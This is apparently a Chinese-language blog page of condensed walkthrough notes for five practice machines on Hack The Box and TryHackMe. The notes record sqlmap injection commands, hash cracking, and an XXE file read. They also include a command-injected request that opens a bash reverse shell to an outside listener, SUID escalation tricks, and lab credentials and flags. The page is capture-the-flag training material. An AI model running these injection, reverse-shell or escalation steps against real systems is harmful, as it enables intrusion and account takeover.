跳轉到

Posts


HTB - MetaTwo 靶機滲透

靶場地址

點我前往

過關條件

  • user flag
  • root flag

速記

  • 資訊蒐集階段
    • 開放PORT 21,22,80
    • 使用 80 Port 連線,導向網域metapress.htb
    • 80 Port 有 Wordpress 服務
      • WordPrss 版本號:5.6.2
      • PHP 版本號:8.0.24
    • WordPress 5.6.2XXE漏洞,但是需要登入憑證才能使用
    • 連線至http://metapress.htb/events/,查看原始碼,Wordpress,有使用Bookingpress插件,版本是1.0.10
      • 該版本有SQL Injection漏洞
      • 漏洞利用需要在頁面上找到_wpnonce參數值
      • 使用sqlmap進行SQL Injection
        • sqlmap -u "http://metapress.htb/wp-admin/admin-ajax.php" --method POST --data "action=bookingpress_front_get_category_services&_wpnonce=cf3b2f4ce4&category_id=123&total_service=111" -p total_service --level=5 --risk=3 --dbs
        • 使用上面的指令,得到兩張資料表bloginformation_schema
        • sqlmap -u "http://metapress.htb/wp-admin/admin-ajax.php" --method POST --data "action=bookingpress_front_get_category_services&_wpnonce=cf3b2f4ce4&category_id=123&total_service=111" -p total_service --level=5 --risk=3 -D blog --tables
        • 透過上面指令列出blog的資訊,得到了wp_users
        • sqlmap -u "http://metapress.htb/wp-admin/admin-ajax.php" --method POST --data "action=bookingpress_front_get_category_services&_wpnonce=cf3b2f4ce4&category_id=123&total_service=111" -p total_service --level=5 --risk=3 -D blog -T wp_users --dump
        • 使用上面指令得到adminmanager的密碼雜湊
          • admin:$P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV.
          • manager:$P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70
    • 使用 John The Ripper破解密碼雜湊
      • 得到了manager的密碼partylikearockstar,這組帳密可用於wordpress後台登入
      • admin那組密碼雜湊跑了半小時依舊解不開,暫時放棄
    • WordPress 5.6.2 XXE 漏洞使用
      • POC
      • 透過上面POC,成功取得機器裡/etc/passwd的檔案內容
        • cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9zYmluL25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vzci9zYmluL25vbG9naW4KbHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vzci9zYmluL25vbG9naW4KbWFpbDp4Ojg6ODptYWlsOi92YXIvbWFpbDovdXNyL3NiaW4vbm9sb2dpbgpuZXdzOng6OTo5Om5ld3M6L3Zhci9zcG9vbC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDoxMDoxMDp1dWNwOi92YXIvc3Bvb2wvdXVjcDovdXNyL3NiaW4vbm9sb2dpbgpwcm94eTp4OjEzOjEzOnByb3h5Oi9iaW46L3Vzci9zYmluL25vbG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ctZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dpbgpiYWNrdXA6eDozNDozNDpiYWNrdXA6L3Zhci9iYWNrdXBzOi91c3Ivc2Jpbi9ub2xvZ2luCmxpc3Q6eDozODozODpNYWlsaW5nIExpc3QgTWFuYWdlcjovdmFyL2xpc3Q6L3Vzci9zYmluL25vbG9naW4KaXJjOng6Mzk6Mzk6aXJjZDovcnVuL2lyY2Q6L3Vzci9zYmluL25vbG9naW4KZ25hdHM6eDo0MTo0MTpHbmF0cyBCdWctUmVwb3J0aW5nIFN5c3RlbSAoYWRtaW4pOi92YXIvbGliL2duYXRzOi91c3Ivc2Jpbi9ub2xvZ2luCm5vYm9keTp4OjY1NTM0OjY1NTM0Om5vYm9keTovbm9uZXhpc3RlbnQ6L3Vzci9zYmluL25vbG9naW4KX2FwdDp4OjEwMDo2NTUzNDo6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3RlbWQtbmV0d29yazp4OjEwMToxMDI6c3lzdGVtZCBOZXR3b3JrIE1hbmFnZW1lbnQsLCw6L3J1bi9zeXN0ZW1kOi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3RlbWQtcmVzb2x2ZTp4OjEwMjoxMDM6c3lzdGVtZCBSZXNvbHZlciwsLDovcnVuL3N5c3RlbWQ6L3Vzci9zYmluL25vbG9naW4KbWVzc2FnZWJ1czp4OjEwMzoxMDk6Oi9ub25leGlzdGVudDovdXNyL3NiaW4vbm9sb2dpbgpzc2hkOng6MTA0OjY1NTM0OjovcnVuL3NzaGQ6L3Vzci9zYmluL25vbG9naW4Kam5lbHNvbjp4OjEwMDA6MTAwMDpqbmVsc29uLCwsOi9ob21lL2puZWxzb246L2Jpbi9iYXNoCnN5c3RlbWQtdGltZXN5bmM6eDo5OTk6OTk5OnN5c3RlbWQgVGltZSBTeW5jaHJvbml6YXRpb246LzovdXNyL3NiaW4vbm9sb2dpbgpzeXN0ZW1kLWNvcmVkdW1wOng6OTk4Ojk5ODpzeXN0ZW1kIENvcmUgRHVtcGVyOi86L3Vzci9zYmluL25vbG9naW4KbXlzcWw6eDoxMDU6MTExOk15U1FMIFNlcnZlciwsLDovbm9uZXhpc3RlbnQ6L2Jpbi9mYWxzZQpwcm9mdHBkOng6MTA2OjY1NTM0OjovcnVuL3Byb2Z0cGQ6L3Vzci9zYmluL25vbG9naW4KZnRwOng6MTA3OjY1NTM0Ojovc3J2L2Z0cDovdXNyL3NiaW4vbm9sb2dpbgo=
        • 上面內容使用Base64 Decode 後,找到一個用戶名稱jnelson,但是找不到登入憑證
      • 嘗試透過Wordpress設定檔,看看是否能找到相關線索
        • 根據前面的POC,取得wp-config.php內容
        • 得到了FTP帳號密碼
          • metapress.htb:9NYS_ii@FyL_p5M2NvJ
        • 使用上面憑證進行FTP登入
          • 找到了一個發送mail的程式send_email.php,裡面有一組帳號密碼
          • jnelson@metapress.htb:Cb4_JmWM8zUZWMu@Ys,嘗試使用這組帳號密碼進行SSH登入,可成功登入
  • 進入主機
    • user flag
      • 使用jnelson:Cb4_JmWM8zUZWMu@Ys,可以找到user.txt,裡面有user flag
    • root flag
      • jnelson 的使用者目錄底下有一個.passpie 的資料夾
      • passpie官方Github,這玩意似乎是用來管理密碼的
      • 使用passpie export password.db,提示我需要有一組密碼才能解密
      • .passpie目錄,找到一個.keys的文件
      • 使用gpg2john產生hash
      • 使用john進行密碼破解,--format參數指定為gpg,得到密碼為blink182
      • 重新使用passpie export ~/password.db,在password.db得到root密碼為p7qfAZt4_A1xo_0x
      • 切換用戶為root後,即可以找到root.txt,裡面有root flag

滲透過程

閱讀限制

滲透過程有受到作者設定的閱讀限制...

HTB - Headless 靶機滲透

靶場地址

點我前往

過關條件

  • user flag
  • root flag

速記

  • 資料收集階段
    • 開放PORT:22、5000
    • 網站目錄爆破有得到目錄/dashboard但是無法連線,HTTP Status Code = 500
    • 在message欄位使用STTI注入被攔截,呈現Your IP address has been flagged, a report with your browser information has been sent to the administrators for investigation.
    • cookie = is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs
      • cookie 有點可疑,InVzZXIi進行Base64Decode得到"user"
      • 嘗試將InVzZXIi換成ImFkbWluIg("admin"Base64 Encode去除填充符號),失敗
      • 估計跟uAlmXlTvm8vyihjNaPDWnvB_Zfs有連動
    • 假設這個盒子會模擬管理會看請求紀錄?
      • 使用XXS注入,發現原本被攔截HTML畫面會變形
      • 我嘗試在本地端架設用Python架設Web Service,把Cookie攔截到我的本機
        • 獲得了is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0
    • 嘗試將這組cookie進行/dashboard請求,可成功連接,畫面上有個選擇日期的欄位,他是使用POST請求
    • 針對請求參數進行fuzz,發現可以用|進行繞過,使用burpsuite進行reverse shell
      burpsuite 請求
      POST /dashboard HTTP/1.1
      
      Host: 10.129.238.55:5000
      
      User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
      
      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
      
      Accept-Language: zh-TW,zh;q=0.8,en-US;q=0.5,en;q=0.3
      
      Accept-Encoding: gzip, deflate, br
      
      Content-Type: application/x-www-form-urlencoded
      
      Content-Length: 107
      
      Origin: http://10.129.238.55:5000
      
      Connection: keep-alive
      
      Referer: http://10.129.238.55:5000/dashboard
      
      Cookie: is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0
      
      Upgrade-Insecure-Requests: 1
      
      
      
      date=2023-09-10|%2Fbin%2Fbash%20-c%20%27exec%20bash%20-i%20%26%3E%2Fdev%2Ftcp%2F10.10.14.88%2F4444%20%3C%261%27'
      
  • 進入主機

    • user.txt 獲取沒難度
    • root.txt

      • sudo -l 確認目前權限(ALL) NOPASSWD: /usr/bin/syscheck
      • 確認/usr/bin/syscheck
      /usr/bin/syscheck
      #!/bin/bash
      
      if [ "$EUID" -ne 0 ]; then
      exit 1
      fi
      
      last_modified_time=$(/usr/bin/find /boot -name 'vmlinuz*' -exec stat -c %Y {} + | /usr/bin/sort -n | /usr/bin/tail -n 1)
      formatted_time=$(/usr/bin/date -d "@$last_modified_time" +"%d/%m/%Y %H:%M")
      /usr/bin/echo "Last Kernel Modification Time: $formatted_time"
      
      disk_space=$(/usr/bin/df -h / | /usr/bin/awk 'NR==2 {print $4}')
      /usr/bin/echo "Available disk space: $disk_space"
      
      load_average=$(/usr/bin/uptime | /usr/bin/awk -F'load average:' '{print $2}')
      /usr/bin/echo "System load average: $load_average"
      
      if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then
      /usr/bin/echo "Database service is not running. Starting it..."
      ./initdb.sh 2>/dev/null
      else
      /usr/bin/echo "Database service is running."
      fi
      
      exit 0
      
    • initdb.sh 沒有指定路徑,建立一個initdb.sh給它SUID權限讓他強制以root身分取得shell

      echo "chmod u+s /bin/bash" > initdb.sh
      chmod +x initdb.sh
      sudo /usr/bin/syscheck
      /bin/bash -p
      

滲透過程

閱讀限制

滲透過程有受到作者設定的閱讀限制...

HTB - Analytics 靶機滲透

靶場地址

點我前往

過關條件

  • user flag
  • root flag

速記

  • 資訊收集階段
  • 進入主機
    • 一開始無法拿到user.txt,須想辦法突破
    • env 取得到帳號密碼資訊(我始終無法理解為啥SSH帳密會保存在環境變數內....)
      環境變數內容
      SHELL=/bin/sh
      MB_DB_PASS=
      HOSTNAME=
      LANGUAGE=en_US:en  
      MB_JETTY_HOST=0.0.0.0
      JAVA_HOME=/opt/java/openjdk
      MB_DB_FILE=//metabase.db/metabase.db
      PWD=/home/metabase
      LOGNAME=metabase
      MB_EMAIL_SMTP_USERNAME=
      HOME=/home/metabase
      LANG=en_US.UTF-8
      META_USER=metalytics
      META_PASS=An4lytics_ds20223#
      MB_EMAIL_SMTP_PASSWORD=
      USER=metabase
      SHLVL=4
      MB_DB_USER=
      FC_LANG=en-US
      LD_LIBRARY_PATH=/opt/java/openjdk/lib/server:/opt/java/openjdk/lib:/opt/java/openjdk/../lib
      LC_CTYPE=en_US.UTF-8  
      MB_LDAP_BIND_DN=
      LC_ALL=en_US.UTF-8
      MB_LDAP_PASSWORD=
      PATH=/opt/java/openjdk/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
      MB_DB_CONNECTION_URI=
      JAVA_VERSION=jdk-11.0.19+7
      _=/bin/cat
      OLDPWD=/home/metabase/.ssh
      
    • user.txt 就放在home/metalytics
    • d32b973cc5a63b4768d1a45bd5d0318d
    • 提權
      • 有kernel漏洞
        主機資訊
        Linux version 6.2.0-25-generic (buildd@lcy02-amd64-044) (x86_64-linux-gnu-gcc-11 (Ubuntu 11.3.0-1ubuntu1~22.04.1) 11.3.0, GNU ld (GNU Binutils for Ubuntu) 2.38) #25~22.04.2-Ubuntu SMP PREEMPT_DYNAMIC Wed Jun 28 09:55:23 UTC 2
        Distributor ID: Ubuntu
        Description:    Ubuntu 22.04.3 LTS
        Release:        22.04
        Codename:       jammy
        
      • 漏洞資訊
      • Exploit
        • [CVE-2023-2640-CVE-2023-32629] (https://github.com/g1vi/CVE-2023-2640-CVE-2023-32629)
      • root.txt 就放在/root
        • 75e7b011aec4f3bad6de1904225ba9a4

滲透過程

閱讀限制

滲透過程有受到作者設定的閱讀限制...

THM - Basic Pentesting 靶機滲透

This is a machine that allows you to practise web app hacking and privilege escalation

靶場地址

點我前往

題目背景

In these set of tasks you'll learn the following:

  • brute forcing
  • hash cracking
  • service enumeration
  • Linux Enumeration The main goal here is to learn as much as possible. Make sure you are connected to our network using your OpenVPN configuration file.

Credits to Josiah Pierce from Vulnhub.

靶機類型

免費靶機

過關條件

(已剔除不需要答題者回答的題目)

  • What is the name of the hidden directory on the web server(enter name without /)?
  • What is the username?
  • What is the password?
  • What service do you use to access the server(answer in abbreviation in all caps)?
  • What is the name of the other user you found(all lower case)?
  • What is the final password you obtain?

速記

  • 資訊蒐集階段
    • 開放PORT: 22,80,139,445,8009,8080
    • HTTP SERVER: Apache Tomcat/9.0.7
    • SMB服務有guest帳號
    • 使用 gobuster 進行網站目錄爆破得到/development目錄
    • 使用 smbmap 列舉SMB服務共享的資料夾,得知有一個Anonymous目錄,權限是唯讀
    • 使用 smbclient 連線至SMB服務,從Anonymous目錄看到了staff.txt,從檔案裡獲得了兩個人名JanKay
    • 連線到網址路徑/development,得到了dev.txtj.txtdev.txt的內容沒什麼營養,j.txt的內容得知,K向J抱怨他的密碼太簡單,內容裡提到了/etc/shadow,所以估計是只SSH帳密過於簡單
    • 使用 hydra 進行 SSH 密碼爆破,得到SSH帳密:jan:armando
  • 進入主機
    • 能用bash的使用者有三個,jankayroot
    • 最後的密碼應該是放在kay家目錄底下的pass.bak,但是目前登入的帳號是沒有權限,該檔案的擁有者和擁有群組是kay,所以至少要將權限能提至pass.bak
    • 可提權路徑
      • 能看到kay的SSH私鑰內容
        • 使用私鑰登入發現有做密碼passphrase,因為還要暴力破解....先放著
        • 後續用john破解了一下,密碼是beeswax
      • 在確認SUID檔案,發現/usr/bin/vim.basic被設定成SUID,所以直接用VIM打開吧..

滲透過程

閱讀限制

滲透過程有受到作者設定的閱讀限制...

HTB - Bizness 靶機滲透

靶場地址

點我前往

過關條件

  • user flag
  • root flag

速記

  • 資訊收集階段
    • dirsearch 目錄爆破可以獲得/control/login登入頁
    • 從登入頁得知,Server 為 Apache OFBiz 版本號 (v18.12 release)
  • 進入主機
    • user flag 獲取無壓力
    • root flag 找很久...
      • 目標機有使用derby的資料庫,資料庫資料都保存在‘/opt/ofbiz/runtime/data/derby/ofbiz/seg0
      • 把資料拖回本機後,用下面指令去取得保存在資料庫內可能的密碼
        取得文件密碼
        strings -f seg0/*.dat | grep -i 'password'
        
        輸出內容
        ....前面省略
        
        seg0/c54d0.dat:                 <eeval-UserLogin createdStamp="2023-12-16 03:40:23.643" createdTxStamp="2023-12-16 03:40:23.445" currentPassword="$SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I" enabled="Y" hasLoggedOut="N" lastUpdatedStamp="2023-12-16 03:44:54.272" lastUpdatedTxStamp="2023-12-16 03:44:54.213" requirePasswordChange="N" userLoginId="admin"/>
        
        ....後面省略
        

        得到一個SHA的資訊$SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I

      • 那個SHA金鑰長得有點詭異
        • Base 64 Decode + HEX 進行HashCat破解失敗
        • uP0_QaVBpDWFeo8-dRzDqRwXQ2I 改成 uP0/QaVBpDWFeo8+dRzDqRwXQ2I 然後在Base64 Decode + HEX 進行HashCat 破解,得到密碼:monkeybizness (這就是root密碼)

滲透過程

閱讀限制

滲透過程有受到作者設定的閱讀限制...